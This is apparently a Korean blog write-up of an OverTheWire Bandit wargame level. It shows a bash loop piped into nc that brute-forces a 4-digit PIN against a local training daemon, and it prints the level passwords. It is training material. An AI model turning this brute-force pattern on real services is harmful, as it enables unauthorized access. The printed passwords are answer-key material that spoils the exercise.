0 views
문제

- 데몬이 포트 30002에서 대기 중이며, 밴딧24의 비밀번호와 비밀 숫자 4자리 핀코드가 주어지면 밴딧25의 비밀번호를
알려준다.
- 핀코드를 검색하려면 10000개의 조합을 모두 거쳐야 하는데 이것을 무차별 대입이라고 한다.
- 매번 새로운 연결을 생성할 필요는 없다.
풀이
1. 스크립트 작성
- 30002 포트에 비밀번호와 4자리 핀코드를 줘야한다.
- 내 홈에서 sh 안만들어 져서 tmp로 옴
- 그리고 여기서 힘들었던 점…..
- 자신 소유가 아닌 /tmp 같은 공용 디렉터리에서 쉘 스크립트를 실행하면 안될 수도 있다고 한다.
- 따라서 내 디렉터리를 따로 만들어서 해당 디렉터리에서 명령어를 수행해야 했다.
for i in {0000..9999}; do echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"; done | nc localhost 30002 | grep -v "Wrong!"
- -v 옵션으로 Wrong! 이 출력되는 줄만 제외하고 정답인 줄을 받았다.

iCi86ttT4KSNe1armKiwbQNmB3YJP3q4
'Bandit'카테고리의 다른 글
Loading comments...